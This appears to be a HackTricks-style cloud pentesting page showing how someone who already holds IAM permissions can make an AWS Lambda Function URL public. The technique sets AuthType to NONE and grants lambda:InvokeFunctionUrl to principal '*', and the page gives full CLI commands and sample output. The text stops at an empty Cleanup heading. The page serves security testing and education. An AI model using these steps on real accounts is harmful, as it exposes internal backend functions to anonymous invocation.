AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)

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Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.

Abusing it

Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
Region: us-east-1

Steps

Ensure the function has a Function URL (defaults to AWS_IAM):

aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true

Switch the URL to public (AuthType NONE):

aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE

Add a resource-based policy statement to allow unauthenticated principals:

aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE

Retrieve the URL and invoke without credentials:

URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"

Impact

The Lambda function becomes anonymously accessible over the internet.

Example output (unauthenticated 200)

HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}

Cleanup